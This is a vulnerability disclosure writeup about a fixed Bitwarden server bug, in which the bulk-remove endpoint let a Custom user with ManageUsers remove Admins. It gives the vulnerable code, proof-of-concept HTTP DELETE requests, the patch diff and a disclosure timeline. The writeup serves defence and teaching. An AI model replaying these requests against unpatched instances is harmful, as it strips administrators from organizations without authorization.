# Bitwarden: Custom Users Could Remove Admins via the Bulk-Remove Endpoint
Bitwarden: Custom Users Could Remove Admins via Bulk Remove
The single-user remove path blocked Custom → Admin. The bulk path forgot to.
Fourth writeup in my Bitwarden series, and a textbook *incomplete-coverage* bug. A role-hierarchy guard that lived on the single-user remove endpoint was never copied onto its bulk twin — so a low-privileged Custom user could do through the bulk endpoint exactly what the single endpoint refused: remove Admins from the organization.
- ➜Vendor: Bitwarden
- ➜Product:
bitwarden/server - ➜Severity: High (CVSS 7.1)
- ➜CVE: Pending — requesting one for this issue
- ➜Report: HackerOne #3673748
- ➜Fix: PR #7526 — commit `901bb671`
- ➜Fixed in: server release `2026.6.0` (2026-06-10) — Cloud + self-hosted
//TL;DR
Bitwarden blocks a Custom user (with only ManageUsers) from removing an Admin — but only on the single-user endpoint DELETE /organizations/{orgId}/users/{id}. The bulk endpoint DELETE /organizations/{orgId}/users runs the same operation through a *different* method, RemoveUsersInternalAsync, whose per-user loop validated self-removal, owner-by-non-owner, and claimed-account status — but not Custom → Admin.
So the attack is trivial: a Custom user lists the org, grabs an Admin's organization-user ID, and removes them through the bulk path. The single-user guard was added back in PR #5590 (Apr 2025); the bulk path was simply never given the same check — until this report.
//The vulnerable code
The single-user remove path (RepositoryRemoveUserAsync) gets it right:
if (orgUser.Type == OrganizationUserType.Admin &&
await _currentContext.OrganizationCustom(orgUser.OrganizationId))
{
throw new BadRequestException("Custom users can not remove admins.");
}
The bulk path (RemoveUsersInternalAsync) ran the same conceptual operation, but its validation loop was missing that one branch:
foreach (var orgUser in filteredUsers)
{
// ... self-removal check ...
// ... owner-removed-by-non-owner check ...
// ... claimed-account check ...
// (no Custom -> Admin check)
result.Add((orgUser, string.Empty)); // Admin silently queued for removal
}
Same logical action, two implementations, only one of them enforcing the hierarchy. That divergence — *parallel-path authorization divergence* — is one of the most reliable bug classes in any codebase that grew a "do this in bulk" sibling for an existing "do this once" handler.
//Attack flow
- 1.Attacker is a Custom user with only the
ManageUserspermission. - 2.List members via
GET /organizations/{orgId}/users(allowed byManageUsers) and read an Admin's organization-user ID. - 3.The single-user remove is correctly refused:
DELETE /api/organizations/{orgId}/users/{adminOrgUserId} HTTP/2
Host: vault.bitwarden.com
Authorization: Bearer <custom-user-token>
{ "message": "Custom users can not remove admins.", "object": "error" }
- 4.The bulk remove succeeds with the same credentials:
DELETE /api/organizations/{orgId}/users HTTP/2
Host: vault.bitwarden.com
Authorization: Bearer <custom-user-token>
Content-Type: application/json
{"ids": ["{adminOrgUserId}"]}
{
"data": [
{ "id": "{adminOrgUserId}", "error": "", "object": "OrganizationBulkConfirmResponseModel" }
],
"continuationToken": null,
"object": "list"
}
HTTP 200, and an empty "error" field means the Admin was removed. Confirmed live on vault.bitwarden.com with a Custom test account holding nothing but ManageUsers.
//The fix
Commit `901bb671` (PR #7526), shipped in 2026.6.0. It hoists a deletingUserIsCustom flag next to the existing deletingUserIsOwner one and adds the missing branch inside the loop:
var deletingUserIsOwner = false;
+ var deletingUserIsCustom = false;
if (deletingUserId.HasValue)
{
deletingUserIsOwner = await _currentContext.OrganizationOwner(organizationId);
+ deletingUserIsCustom = await _currentContext.OrganizationCustom(organizationId);
}
// ... inside foreach (var orgUser in filteredUsers) ...
+ if (orgUser.Type == OrganizationUserType.Admin && deletingUserIsCustom)
+ {
+ throw new BadRequestException(RemoveAdminByCustomUserErrorMessage);
+ }
Tests landed in the same change. I also flagged the same gap in the Revoke and Restore commands; per Bitwarden's resolution, the same Custom → Admin guard was applied to those paths too.
//Disclosure timeline
All times UTC.
- 1.2026-04-14 — Reported to HackerOne (#3673748) with source analysis and a live PoC on
vault.bitwarden.com. - 2.2026-04-16 — Triaged. Severity adjusted (Scope: Unchanged → final High 7.1) and routed to engineering/product.
- 3.2026-04-23 — Fix merged to
main: PR #7526, commit901bb671. - 4.2026-06-10 — Shipped in server release
2026.6.0(Cloud + self-hosted). - 5.2026-06-23 — Resolved and bounty awarded. Vendor confirmed the same guard was applied to the Revoke and Restore endpoints.
//Takeaways
- ➜When you add a "do it in bulk" sibling to an existing handler, the authorization checks do not come along for free. Every guard on the single-item path is a checklist item for the bulk path. Diff the two line by line.
- ➜A patch that fixes one entry point is not a patch for the vulnerability. PR #5590 fixed single-user remove in 2025 and left the bulk path open for over a year. Where a hierarchy check exists, hunt for every operation that should share it.
Thanks to @mandreko-bitwarden and the Bitwarden security team for the quick triage and fix.